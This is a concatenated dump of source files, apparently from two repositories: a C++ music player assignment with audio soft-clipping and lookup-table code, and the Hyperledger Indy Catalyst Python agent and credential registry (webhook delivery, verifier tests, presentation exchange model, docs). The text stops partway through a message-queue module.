#ifndef TT_PLAYER_MANAGER_H_
#define TT_PLAYER_MANAGER_H_
#include <iostream>
#include <vector>
using namespace std;
#include "tt_player_globaldefs.h"
#include "tt_player_component.h"
#include "tt_player_message.h"
#include "tt_player_cursor.h"
#include "tt_player_stream.h"
#include "tt_player_processor.h"
enum TTPlayerState
{
IDLE,
START,
STOPPED
};
class TTPlayerManager final : public TTPlayerComponent {
public:
TTPlayerManager();
virtual ~TTPlayerManager();
// overridden methods
void update();
virtual void receive(pTTPlayerMessage message);
// GUI menu operation callbacks
int onNewFileRequest();
/*
* GUI transport callbacks. these functions return 1 if successful, -1 if successful
* the return value could be used by a GUI building API to detect unsuccessful operations
* and change the GUI state e.g. a pressed button that get released etc
*/
int onPlayButtonClicked();
int onPauseButtonClicked();
int onStopButtonClicked();
int onHomeButtonClicked();
int onEndButtonClicked();
int onRewindButtonPressed();
int onRewindButtonReleased();
int onFastForwardButtonPressed();
int onFastForwardButtonReleased();
int onTimeSliderValueChanged(float value);///< react to a manual change of the transport slider
// time slider interface
float getTrackLength();///< get track length in In milliseconds
int getCurrentPlaybackPosition();///< get current play back position in milliseconds
// exit callback
int onExit();
// operators. TODO: this unfortunately does not help when calling the generic component.
friend ostream& operator<<(ostream& os, const TTPlayerManager& c)
{
os << "TTPlayerManager name: " << c.getName() << " ID: " << c.getID() << "\n";
return os;
}
private:
TTPlayerState state;
};
#endif /* TT_PLAYER_MANAGER_H_ */
<file_sep>/*
* tt_player_widget_test.cpp
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#include "tt_player_widget.h"
<file_sep>/*
* tt_player_processor.cpp
*
* Created on: 6 Nov 2020
* Author: alfre
*/
#include "tt_player_processor.h"
#include "tt_player_exception.h"
// this will be defined in the unit test
#ifdef _DEBUG_
#include "tt_player_instrumentation.h"
#endif
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
float TangentHSoftClipper::getCurveValue(float x)
{
float retVal = x;
//(e^2x - 1)/(e^2x + 1)
float expval = pow(EUL_SQUARED,x);
retVal = (expval - 1.0)/(expval + 1.0);
return retVal;
}
// crudely ported from python...
TTP_RAW TangentHSoftClipper::getCurveValue(TTP_RAW x_s, float gain)
{
//TODO way too many magic numbers
TTP_U8 int_gain = floor(gain * TANH_GAIN_FRACT_MULT); // (1 << 4) gain has precision. this could
//calculate the square and apply round and clip point
// bypass if 0.
if(x_s == 0)
return (0);
// calculate the square
TTP_U64 x_sq = x_s *x_s;
//clamp x_sq to remove asymmetry
TTP_U32 x_sq_cl = CLAMP(x_sq, 0, pow(2.0,32)-1); // TODO replace with bit shift TODO precalculate constants
//apply squared gain
TTP_U16 int_gain_sq = int_gain*int_gain;
TTP_U64 xg = static_cast<TTP_U64>(x_sq_cl) * int_gain_sq;
//apply round and clip point: remove 8 fractional bits (squared gain) and drop further 15 bits (squared input) now xg_rc has the integer bits of the gain and the fractional of the input
TTP_U32 xg_rc = floor(xg * pow(2.0, -15 -8));
// calculate (27 + xg)
TTP_U32 numerator = 27*pow(2.0,15) + xg_rc; // TODO: precalculate the constants
//calculate denominator (n in the doc)
TTP_U32 denominator = numerator + xg_rc * pow(2.0 , 3); // TODO: precalculate the constants
// calculate the inverse m
TTP_U64 lut_inverse;
try
{
lut_inverse = TTPlayerPrecision::ttp_lut_inverse(denominator);
}
catch(TTPlayerDivisionByZeroException &ex)
{
printf("TangentHSoftClipper::getCurveValue %s\n", ex.what() );
//TODO send the division by zero to the DEBUG manager
}
//multiply the inverse and the numerator
TTP_U64 ratio = lut_inverse*numerator;
// renormalised for LUT_PRECISION
TTP_U32 ratio_norm = ( ratio >> LUT_PRECISION );
//multiply by x_s
TTP_S64 y = x_s * static_cast<TTP_S64>(ratio_norm);
//apply output rc
// TODO replace with bit shift. how does bit shift behave with signed? can't remember...
TTP_RAW y_rc = static_cast<TTP_RAW>( floor(y * pow(2.0, - LUT_OUT_FRACT)) );
// convert to unsigned
//TTP_U16 y_u = static_cast<TTP_U16>(static_cast<TTP_S32>(y_rc) + (1 << 15));
return y_rc;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
LookupTable::LookupTable()
:npoints(2)
,address_bitdepth(8)
,value_bitdepth(10)
{
pAddress = (int* )malloc( npoints * sizeof(int) );
pValue = (int* )malloc( npoints * sizeof(int) );
memset(pAddress, 0, npoints);
memset(pValue, 0, npoints);
// fill with default curve: 2 points identity
pAddress[0] = 0;
pValue[0] = 0;
pAddress[npoints -1] = address_bitdepth; // remember this is an exponent
pValue[npoints -1] = (1 << value_bitdepth) - 1;
}
LookupTable::~LookupTable()
{
free(pAddress);
free(pValue);
}
TTP_RAW LookupTable::getCurveValue(TTP_U16 x)
{
x = x >> (RAW_BITDEPTH - address_bitdepth); // normalise the input from the raw bit depth to the nominal LUT input bit depth
TTP_RAW retval;
long weighted_sum = 0;
TTP_U16 x0, x1;
TTP_RAW y0, y1;
for (int i = 0; i < npoints - 1; i++ )
{
x0 += (1 << pAddress[i]);
x1 = x0 + (1 << pAddress[i+1]);
if
(
x >= x0
&&
x < x1
)
{
y0 = pValue[i];
y1 = pValue[i + 1];
weighted_sum =
static_cast<TTP_RAW>(x- x0)*(y1 - y0) + (y0 << pAddress[i+1]);
retval = static_cast<TTP_RAW>( weighted_sum >> pAddress[i+1]);
}
}
return retval << (RAW_BITDEPTH - value_bitdepth); // normalise the output from the nominal LUT output bit depth to the raw bit depth
}
float LookupTable::getCurveValue(float x)
{
///TODO do a simple float to raw -> use raw function -> raw to float -> return float
return x;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
TTPlayerProcessor::TTPlayerProcessor() {
//transferFunction = new(LookupTable);
transferFunction = new(TangentHSoftClipper);
}
TTPlayerProcessor::~TTPlayerProcessor() {
delete(transferFunction);
}
<file_sep>var searchData=
[
['ttplayercomponent_9',['TTPlayerComponent',['../class_t_t_player_component.html',1,'']]],
['ttplayerdata_10',['TTPlayerData',['../class_t_t_player_data.html',1,'']]],
['ttplayerexception_11',['TTPlayerException',['../class_t_t_player_exception.html',1,'']]],
['ttplayermanager_12',['TTPlayerManager',['../class_t_t_player_manager.html',1,'']]],
['ttplayermessage_13',['TTPlayerMessage',['../class_t_t_player_message.html',1,'']]],
['ttplayerobject_14',['TTPlayerObject',['../class_t_t_player_object.html',1,'']]],
['ttplayerprocessor_15',['TTPlayerProcessor',['../class_t_t_player_processor.html',1,'']]],
['ttplayerstream_16',['TTPlayerStream',['../class_t_t_player_stream.html',1,'']]]
];
<file_sep>/*
* TTPlayerPrecision.cpp
*
* Created on: 12 Nov 2020
* Author: alfre
*/
#include "tt_player_precision.h"
#ifdef _DEBUG_
#include "tt_player_instrumentation.h"
#endif
#define _TEST_SIGNAL_
TTPlayerPrecision::TTPlayerPrecision() {
// TODO Auto-generated constructor stub
}
TTPlayerPrecision::~TTPlayerPrecision() {
// TODO Auto-generated destructor stub
}
TTPlayerPrecision::TTPlayerPrecision(const TTPlayerPrecision &other) {
// TODO Auto-generated constructor stub
}
// NOTE: this code has been ported from Python so is not fully C optimised.
TTP_U64 TTPlayerPrecision::ttp_lut_inverse( const TTP_U32 n ) noexcept
{
if(n == 0)
throw( TTPlayerDivisionByZeroException() );
// the range of the input in nbits - 8
TTP_U8 r = 0;
//----------------------------------
// this is just a very quick (and very bad) implementation of a bit range finder for the sake of the exercise.
// hopefully I will have time to code something better. on top of my head, a set of comparators would do
// because the input is bandwidth (bitdepth) bound.
TTP_S16 r_temp = 0;
if (n > (1 << LUT_FULL) - 1)
r_temp = (floor(log2( static_cast<float>(n) )) - LUT_FULL ) + 1;
r_temp = (r_temp < 0) ? 0 : r_temp;
r = static_cast<TTP_U8>(r_temp);
//--------------------------------------------------------------------------------------------------------------------------------------------
// INPUT CONDITIONING
//
// NOTE: all this section needs refactoring when the truncate() function is completed
//
// input range right bit shift. this is part of the LUT input rc point since it does not extra r LSB (i.e. it does not fractional precision)
// in the documentation right shift operations are considered lossless i.e. the simply move the floating point to the left
// in C a right shift is lossy i.e. fractional precision is lost
// apply range shift
TTP_U32 n_ishift = n >> r;
// this clamp simulates a truncation point
TTP_U32 n_clamp = CLAMP( n_ishift, 1, (1 << LUT_FULL) -1 );
#ifdef _DEBUG_RC_P
//printf("n = %d n_ishift = %d n_clamp = %d range = %d\n", n, n_ishift, n_clamp, r);
// test the truncation point
precision p_in, p_out;
p_in.integ = 25 - r;
p_in.fract = 0; // in the documentation this is -r, but the clip of the fractional part has happened already (see above)
p_in.is_signed = false;
p_out.integ = LUT_FULL;
p_out.fract = 0;
p_in.is_signed = false;
TTPlayerInstrumentation::testTruncation(n_ishift, p_in, p_out, "reciprocal LUT input RC in tt_player_processor");
#endif
//-------------------------------------------------------------------------------------------------------------------------------------------
// 8 bit lookup table output (simulation of the values stored in a memory)
TTP_U64 lut_output = floor(pow(2.0 , LUT_PRECISION)/n_clamp);
// rescaling for range and output fractional precision
TTP_U64 lut_output_resc = ( (lut_output << LUT_OUT_FRACT ) >> r );
return lut_output_resc;
}
<file_sep>
#ifndef TT_GLOBALDEFS_H_
#define TT_GLOBALDEFS_H_
#define _DEBUG_
#ifdef _DEBUG_
#define _DEBUG_RC_P
// #define _TEST_SIGNAL_
#endif
#define _PROGRESS_CONSOLE
#define RAW_BITDEPTH (16)
#define DEFAULT_LUT_BITDEPTH (10)
#define DEFAULT_CURVE ATAN
#define EUL (2.71828)
#define EUL_SQUARED (7.3890461584)
//#define _FIXED_IMP
#define INVLN2 (1.44269)
#define POW2(X) ( pow(2.0, X ) )
#include <iostream>
#include "tt_player_message.h"
#include "tt_player_exception.h"
//#include "tt_player_smartpointer.h"
//typedef TTPlayerSmartPointer<int> SP_STREAM;
struct StreamParameters
{
int bitPerSample;
float samplingFrequency;
float lengthInSeconds;
long lengthInSamples;
};
#endif /* TT_GLOBALDEFS_H_ */
<file_sep>/*
* tt_player_effect.cpp
*
* Created on: 9 Nov 2020
* Author: alfre
*/
#include "tt_player_effect.h"
TTPlayerEffect::TTPlayerEffect()
{
pStatelessTransferFunction = new TTPlayerStatelessTransferFunction();
// TODO Auto-generated constructor stub
}
TTPlayerEffect::~TTPlayerEffect() {
delete(pStatelessTransferFunction);
// TODO Auto-generated destructor stub
}
TTPlayerEffect::TTPlayerEffect(const TTPlayerEffect &other) {
pStatelessTransferFunction = new TTPlayerStatelessTransferFunction(); //(&(other.pStatelessTransferFunction));
}
<file_sep>/*
* tt_player_debug_manager_test.cpp
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#include "tt_player_console_manager.h"
<file_sep>/*
* tt_player_widget.cpp
*
* Created on: 15 Nov 2020
* Author: alfre
*/
#include "tt_player_widget.h"
TTPlayerWidget::TTPlayerWidget() {
// TODO Auto-generated constructor stub
}
TTPlayerWidget::~TTPlayerWidget() {
// TODO Auto-generated destructor stub
}
TTPlayerWidget::TTPlayerWidget(const TTPlayerWidget &other) {
// TODO Auto-generated constructor stub
}
|
91b1313a9c6c5b9ddeb85a87ee7d2e2f84348225
|
[
"JavaScript",
"Python",
"C++",
"INI"
] | 45
|
C++
|
Alfredo-Giani/music_player_assignment
|
927b9e4593720f8c9a51ee14ca564ad0643110ad
|
2c100db553736349f465045724f66b219c7e584a
|
refs/heads/master
|
<repo_name>kancharlavamshi/Logistic-Regression-SVM<file_sep>/finial_submission_12.py
###### Logistic Regression ###########
## As this code is executed on colab, I just mounted G-Drive
from google.colab import drive
drive.mount('/content/drive')
# Importing all the required libraries
# Reading the (.csv)file using Pandas
## .head() This function returns the first n rows for the object based on position.
import pandas as pd
import numpy as np
data = pd.read_csv('/content/drive/My Drive/Colab Notebooks/project-GL/diabetes.csv')
data.head()
##### Pandas describe().T is used to view mean, std ,min,max,etc
data.describe().T
#### Replacing the null values with zeros
data1 = data.copy(deep=True)
data1[['Glucose','BloodPressure','SkinThickness','Insulin','BMI']] = data1[['Glucose','BloodPressure','SkinThickness','Insulin','BMI']].replace(0,np.NaN)
#### Replacing the zeros values with mean and median
data1['Glucose'].fillna(data1['Glucose'].mean(), inplace = True)
data1['BloodPressure'].fillna(data1['BloodPressure'].mean(), inplace = True)
data1['SkinThickness'].fillna(data1['SkinThickness'].median(), inplace = True)
data1['Insulin'].fillna(data1['Insulin'].median(), inplace = True)
data1['BMI'].fillna(data1['BMI'].mean(), inplace = True)
## ploting the data set after making all the considerations
p = data1.hist(figsize = (20,20), rwidth=0.9)
###### Assigning the Dependent parameter (output prediction) to y & Independent values to x
x = data1[['Pregnancies', 'Glucose', 'BloodPressure', 'SkinThickness', 'Insulin','BMI','DiabetesPedigreeFunction', 'Age']].values
y = data1[['Outcome']].values
#### Model
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.25, random_state=5)
from sklearn.linear_model import LogisticRegression
model = LogisticRegression()
model.fit(X_train, y_train)
model.score(X_train, y_train)
### predicting the Test data,accuracy
predictions = model.predict(X_test)
from sklearn.metrics import classification_report
print(classification_report(y_test,predictions))
from sklearn.metrics import accuracy_score
print(accuracy_score(y_test,predictions))
####### support vector machine ##############
### Import the required Libraries
### Reading the .csv files
## .head() This function returns the first n rows for the object based on position.
from sklearn.model_selection import train_test_split
from sklearn.model_selection import cross_val_score
from sklearn.svm import SVC
data_svm = pd.read_csv('/content/drive/My Drive/Colab Notebooks/project-GL/diabetes.csv')
data_svm.head()
## Selecting the Dependent & Independent parameters and assigning to y & x
### Predicting the y
X = data_svm.iloc[:,0:9].values
y = data_svm.iloc[:, -1].values
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0)
cfr = SVC(kernel = 'rbf', random_state = 0)
cfr.fit(X_train, y_train)
y_pred = cfr.predict(X_test)
accuracies = cross_val_score(estimator = cfr, X = X_train, y = y_train, cv = 10)
accuracies.mean()
############### Naive Bayes Algorithm #####################
### Import the required Libraries
### Reading the .csv files
## .head() This function returns the first n rows for the object based on position.
from sklearn.naive_bayes import GaussianNB
from sklearn.preprocessing import StandardScaler
from sklearn.metrics import accuracy_score
dat = pd.read_csv('/content/drive/My Drive/Colab Notebooks/project-GL/diabetes.csv')
data_nb = dat
data_nb.head()
## Selecting the Dependent & Independent parameters and assigning to y & x
### Predicting the y
X = data_nb.iloc[:,0:9].values
y = data_nb.iloc[:,-1].values
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 100)
sc_X = StandardScaler()
X_train = sc_X.fit_transform(X_train)
X_test = sc_X.transform(X_test)
model1=GaussianNB()
model1.fit(X_train,y_train)
y_pred=model1.predict(X_test)
acc=accuracy_score(y_test, y_pred)
print(acc)
|
d92dcf88bc6f65f3be2dfeace8ac1eed1e01209a
|
[
"Python"
] | 1
|
Python
|
kancharlavamshi/Logistic-Regression-SVM
|
fcb587162e35d3bee110b9205cde378d108dae7c
|
8091b2495c962f39a9d5d46840713c4040f62675
|
refs/heads/master
|
<file_sep>document.getElementById("populateDetailsButton")
.addEventListener(
"click", this.populateDeviceDetails);
|
25d8ac59f53760275f25f54233c5af72f70f5f91
|
[
"JavaScript"
] | 1
|
JavaScript
|
sushmakulkarni95/login
|
770bb74b736bf0015a7e8d9b71fd851a36434635
|
ec01ed1403c2a27eda5465d6821f10f94efb6877
|
refs/heads/master
|
<repo_name>panickervinod/indy-catalyst<file_sep>/starter-kits/credential-registry/server/tob-api/icat_hooks/tasks.py
import json
import logging
import requests
from celery.task import Task
from django.conf import settings
logger = logging.getLogger(__name__)
class DeliverHook(Task):
max_retries = 5
def run(self, target, payload, instance_id=None, hook_id=None, **kwargs):
"""
target: the url to receive the payload.
payload: a python primitive data structure
instance_id: a possibly None "trigger" instance ID
hook_id: the ID of defining Hook object
"""
try:
logger.info("Delivering hook to: {}".format(target))
response = requests.post(
url=target,
data=json.dumps(payload),
headers={"Content-Type": "application/json"},
)
if response.status_code >= 500:
response.raise_for_response()
except requests.ConnectionError:
if self.request.retries < settings.HOOK_RETRY_THRESHOLD:
delay_in_seconds = 2 ** self.request.retries
self.retry(countdown=delay_in_seconds)
def deliver_hook_wrapper(target, payload, instance, hook):
# instance is None if using custom event, not built-in
if instance is not None:
instance_id = instance.id
else:
instance_id = None
# pass ID's not objects because using pickle for objects is a bad thing
kwargs = dict(
target=target, payload=payload, instance_id=instance_id, hook_id=hook.id
)
DeliverHook.apply_async(kwargs=kwargs)
<file_sep>/starter-kits/agent-issuer-verifier/README.md
# Hyperledger Indy Catalyst Agent Issuer-Verifier Starter Kit <!-- omit in toc -->

# Table of Contents <!-- omit in toc -->
- [Introduction](#introduction)
# Introduction
Placeholder README for forthcoming Indy Catalyst Agent Issuer-Verifier Starter Kit software.
<file_sep>/agent/indy_catalyst_agent/ledger/base.py
"""Ledger base class."""
from abc import ABC
class BaseLedger(ABC):
"""Base class for ledger."""
pass
<file_sep>/agent/indy_catalyst_agent/verifier/tests/test_indy.py
import json
from unittest import mock
from asynctest import TestCase as AsyncTestCase
from asynctest import mock as async_mock
from indy_catalyst_agent.verifier.indy import IndyVerifier
class TestIndyVerifier(AsyncTestCase):
def test_init(self):
verifier = IndyVerifier("wallet")
assert verifier.wallet == "wallet"
@async_mock.patch("indy.anoncreds.verifier_verify_proof")
async def test_verify_presentation(self, mock_verify):
mock_verify.return_value = "val"
verifier = IndyVerifier("wallet")
verified = await verifier.verify_presentation(
"presentation_request", "presentation", "schemas", "credential_definitions"
)
mock_verify.assert_called_once_with(
json.dumps("presentation_request"),
json.dumps("presentation"),
json.dumps("schemas"),
json.dumps("credential_definitions"),
json.dumps({}),
json.dumps({}),
)
assert verified == "val"
<file_sep>/agent/docs/indy_catalyst_agent.rst
indy\_catalyst\_agent package
=============================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.logging
indy_catalyst_agent.messaging
indy_catalyst_agent.models
indy_catalyst_agent.storage
indy_catalyst_agent.tests
indy_catalyst_agent.transport
indy_catalyst_agent.wallet
Submodules
----------
indy\_catalyst\_agent.classloader module
----------------------------------------
.. automodule:: indy_catalyst_agent.classloader
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.conductor module
--------------------------------------
.. automodule:: indy_catalyst_agent.conductor
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.connection module
---------------------------------------
.. automodule:: indy_catalyst_agent.connection
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.defaults module
-------------------------------------
.. automodule:: indy_catalyst_agent.defaults
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.dispatcher module
---------------------------------------
.. automodule:: indy_catalyst_agent.dispatcher
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.error module
----------------------------------
.. automodule:: indy_catalyst_agent.error
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.version module
------------------------------------
.. automodule:: indy_catalyst_agent.version
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.proofs.messages.rst
indy\_catalyst\_agent.messaging.proofs.messages package
=======================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.proofs.messages.tests
Submodules
----------
indy\_catalyst\_agent.messaging.proofs.messages.proof module
------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages.proof
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.proofs.messages.proof\_request module
---------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages.proof_request
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.proofs.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/indy_catalyst_agent/error.py
"""Common exception classes."""
class BaseError(Exception):
"""Generic exception class which other exceptions should inherit from."""
error_code = None
def __init__(self, *args, error_code: str = None, **kwargs):
"""Initialize a BaseError instance."""
super().__init__(*args, **kwargs)
if error_code:
self.error_code = error_code
class StartupError(BaseError):
"""Error raised when there is a problem starting the conductor."""
<file_sep>/agent/indy_catalyst_agent/ledger/error.py
"""Ledger related errors."""
from ..error import BaseError
class ClosedPoolError(BaseError):
"""Indy pool is closed."""
class LedgerTransactionError(BaseError):
"""The ledger rejected the transaction."""
class DuplicateSchemaError(BaseError):
"""The schema already exists on the ledger."""
<file_sep>/agent/docs/indy_catalyst_agent.messaging.trustping.rst
indy\_catalyst\_agent.messaging.trustping package
=================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.trustping.handlers
indy_catalyst_agent.messaging.trustping.messages
Submodules
----------
indy\_catalyst\_agent.messaging.trustping.message\_types module
---------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.trustping.message_types
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.trustping
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/indy_catalyst_agent/messaging/presentations/models/presentation_exchange.py
"""Handle presentation exchange information interface with non-secrets storage."""
import json
import uuid
from typing import Sequence
from marshmallow import fields
from ....config.injection_context import InjectionContext
from ....storage.base import BaseStorage
from ....storage.record import StorageRecord
from ...models.base import BaseModel, BaseModelSchema
class PresentationExchange(BaseModel):
"""Represents a presentation exchange."""
class Meta:
"""PresentationExchange metadata."""
schema_class = "PresentationExchangeSchema"
RECORD_TYPE = "presentation_exchange"
INITIATOR_SELF = "self"
INITIATOR_EXTERNAL = "external"
STATE_REQUEST_SENT = "request_sent"
STATE_REQUEST_RECEIVED = "request_received"
STATE_PRESENTATION_SENT = "presentation_sent"
STATE_PRESENTATION_RECEIVED = "presentation_received"
STATE_VERIFIED = "verified"
def __init__(
self,
*,
presentation_exchange_id: str = None,
connection_id: str = None,
thread_id: str = None,
initiator: str = None,
state: str = None,
presentation_request: dict = None,
presentation: dict = None,
verified: str = None,
error_msg: str = None,
):
"""Initialize a new PresentationExchange."""
self._id = presentation_exchange_id
self.connection_id = connection_id
self.thread_id = thread_id
self.initiator = initiator
self.state = state
self.presentation_request = presentation_request
self.presentation = presentation
self.verified = verified
self.error_msg = error_msg
@property
def presentation_exchange_id(self) -> str:
"""Accessor for the ID associated with this exchange."""
return self._id
@property
def storage_record(self) -> StorageRecord:
"""Accessor for a `StorageRecord` representing this presentation exchange."""
return StorageRecord(
self.RECORD_TYPE,
json.dumps(self.value),
self.tags,
self.presentation_exchange_id,
)
@property
def value(self) -> dict:
"""Accessor for JSON record value generated for this presentation exchange."""
result = self.tags
for prop in ("presentation_request", "presentation", "error_msg"):
val = getattr(self, prop)
if val:
result[prop] = val
return result
@property
def tags(self) -> dict:
"""Accessor for the record tags generated for this presentation exchange."""
result = {}
for prop in ("connection_id", "thread_id", "initiator", "state", "verified"):
val = getattr(self, prop)
if val:
result[prop] = val
return result
async def save(self, context: InjectionContext):
"""Persist the presentation exchange record to storage.
Args:
context: The `InjectionContext` instance to use
"""
storage: BaseStorage = await context.inject(BaseStorage)
if not self._id:
self._id = str(uuid.uuid4())
await storage.add_record(self.storage_record)
else:
record = self.storage_record
await storage.update_record_value(record, record.value)
await storage.update_record_tags(record, record.tags)
@classmethod
async def retrieve_by_id(
cls, context: InjectionContext, presentation_exchange_id: str
) -> "PresentationExchange":
"""Retrieve a presentation exchange record by ID.
Args:
context: The `InjectionContext` instance to use
presentation_exchange_id: The ID of the presentation exchange record to find
"""
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.get_record(cls.RECORD_TYPE, presentation_exchange_id)
vals = json.loads(result.value)
if result.tags:
vals.update(result.tags)
return PresentationExchange(
presentation_exchange_id=presentation_exchange_id, **vals
)
@classmethod
async def retrieve_by_tag_filter(
cls, context: InjectionContext, tag_filter: dict
) -> "PresentationExchange":
"""Retrieve a presentation exchange record by tag filter.
Args:
context: The `InjectionContext` instance to use
tag_filter: The filter dictionary to apply
"""
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.search_records(
cls.RECORD_TYPE, tag_filter
).fetch_single()
vals = json.loads(result.value)
vals.update(result.tags)
return PresentationExchange(presentation_exchange_id=result.id, **vals)
@classmethod
async def query(
cls, context: InjectionContext, tag_filter: dict = None
) -> Sequence["PresentationExchange"]:
"""Query existing presentation exchange records.
Args:
context: The `InjectionContext` instance to use
tag_filter: An optional dictionary of tag filter clauses
"""
storage: BaseStorage = await context.inject(BaseStorage)
found = await storage.search_records(cls.RECORD_TYPE, tag_filter).fetch_all()
result = []
for record in found:
vals = json.loads(record.value)
vals.update(record.tags)
result.append(
PresentationExchange(presentation_exchange_id=record.id, **vals)
)
return result
async def delete_record(self, context: InjectionContext):
"""Remove the presentation exchange record.
Args:
context: The `InjectionContext` instance to use
"""
if self.presentation_exchange_id:
storage: BaseStorage = await context.inject(BaseStorage)
await storage.delete_record(self.storage_record)
class PresentationExchangeSchema(BaseModelSchema):
"""Schema for serialization/deserialization of presentation exchange records."""
class Meta:
"""PresentationExchangeSchema metadata."""
model_class = PresentationExchange
presentation_exchange_id = fields.Str(required=False)
connection_id = fields.Str(required=False)
thread_id = fields.Str(required=False)
initiator = fields.Str(required=False)
state = fields.Str(required=False)
presentation_request = fields.Dict(required=False)
presentation = fields.Dict(required=False)
verified = fields.Str(required=False)
error_msg = fields.Str(required=False)
<file_sep>/agent/docs/indy_catalyst_agent.messaging.routing.messages.rst
indy\_catalyst\_agent.messaging.routing.messages package
========================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.routing.messages.tests
Submodules
----------
indy\_catalyst\_agent.messaging.routing.messages.forward module
---------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.routing.messages.forward
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.routing.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.messaging.credentials.messages.rst
indy\_catalyst\_agent.messaging.credentials.messages package
============================================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.messaging.credentials.messages.tests
Submodules
----------
indy\_catalyst\_agent.messaging.credentials.messages.credential module
----------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.credential
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.credentials.messages.credential\_offer module
-----------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.credential_offer
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.messaging.credentials.messages.credential\_request module
-------------------------------------------------------------------------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages.credential_request
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.messaging.credentials.messages
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/docs/indy_catalyst_agent.transport.inbound.rst
indy\_catalyst\_agent.transport.inbound package
===============================================
Submodules
----------
indy\_catalyst\_agent.transport.inbound.base module
---------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.inbound.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.inbound.http module
---------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.inbound.http
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.inbound.manager module
------------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.inbound.manager
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.transport.inbound.ws module
-------------------------------------------------
.. automodule:: indy_catalyst_agent.transport.inbound.ws
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.transport.inbound
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/demo/README.md
# Running the Alice/Faber Python demo
## Running in Docker
### Requirements
The dockerized demo requires to have von-network instance running in Docker locally. See the [von-network](von-https://github.com/bcgov/von-network) readme file for more info.
### Running the dockerized demo
Open two shells (Git Bash is recommended for Windows) in the `indy-catalyst/agent/scripts` directory.
Start the `faber` agent by issuing the following command in the first shell:
```
./run_demo faber
```
Start the `alice` agent by issuing the following command in the first shell:
```
./run_demo alice
```
Refer to the section [follow the script](#follow-the-script) for further instructions.
## Running locally
First you need to startup a local ledger (e.g. like this: https://github.com/hyperledger/indy-sdk#1-starting-the-test-pool-on-localhost), and then open up two shell scripts and run:
```
python faber-pg.py <port#>
```
```
python alice-pg.py <port#>
```
Note that alice and faber will each use 5 ports, e.g. if you run ```python faber-pg.py 8020``` if will actually use
ports 8020 through 8024.
To create the alice/faber wallets using postgres storage, just add the "--postgres" option when running the script.
These scripts run the agent as a sub-process (see the documentation for icatagent) and also publish a rest service to
receive web hook callbacks from their agent
Refer to the section [follow the script](#follow-the-script)for further instructions.
## Follow The Script
Once Faber has started, it will create and display an invitation; copy this invitation and input at the Alice prompt.
The scripts will then request an option:
faber-pg.py - establishes a connection with Alice, and then provides a menu:
```
1 = send credential to Alice
2 = send proof request to Alice
3 = send a message to Alice
x = stop and exit
```
alice-pg.py - once a connection is established, this script provides a menu:
```
3 = send a message to Faber
x = stop and exit
```
At the Faber prompt, enter "1" to send a credential, and then "2" to request a proof.
You don't need to do anything with Alice - she will automatically receive Credentials and respond to Proofs.
<file_sep>/agent/.coveragerc
[run]
omit = */tests/* demo/* docker/* docs/* scripts/*
[report]
exclude_lines =
pragma: no cover
@abstract
<file_sep>/agent/indy_catalyst_agent/transport/outbound/queue/basic.py
"""Basic in memory queue."""
import logging
from asyncio import Queue
from .base import BaseOutboundMessageQueue
class BasicOutboundMessageQueue(BaseOutboundMessageQueue):
"""Basic in memory queue implementation class."""
def __init__(self):
"""Initialize a `BasicOutboundMessageQueue` instance."""
self.queue = Queue()
self.logger = logging.getLogger(__name__)
async def enqueue(self, message):
"""
Enqueue a message.
Args:
